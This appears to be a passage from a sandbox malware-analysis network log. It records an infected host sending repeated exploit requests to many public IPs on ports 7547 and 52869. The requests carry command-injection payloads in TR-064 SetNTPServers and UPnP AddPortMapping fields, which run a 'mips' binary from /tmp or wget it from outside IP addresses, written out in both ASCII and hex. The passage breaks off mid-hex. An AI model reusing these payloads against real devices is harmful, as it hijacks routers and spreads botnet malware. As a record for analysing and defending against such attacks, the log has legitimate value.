Apr 15, 2024 08:52:58.208575964 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.13	41732	144.86.38.180	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.254225969 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:57.120440960 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:59.488440037 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:04.096463919 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:13.056473970 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:32.000432014 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.13	57832	124.219.137.204	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.351378918 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:55.617230892 CEST	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.13	35676	190.31.147.68	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.392966032 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.13	42448	189.124.222.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.395183086 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.13	56946	69.53.13.168	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.625917912 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:55.859028101 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="54d95d095632f189aa11fa5c46110ae0000da0dc",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.13	54256	101.102.220.137	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.714739084 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.13	43438	61.147.115.54	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.714817047 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:57.216490030 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:59.008457899 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:02.560446024 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 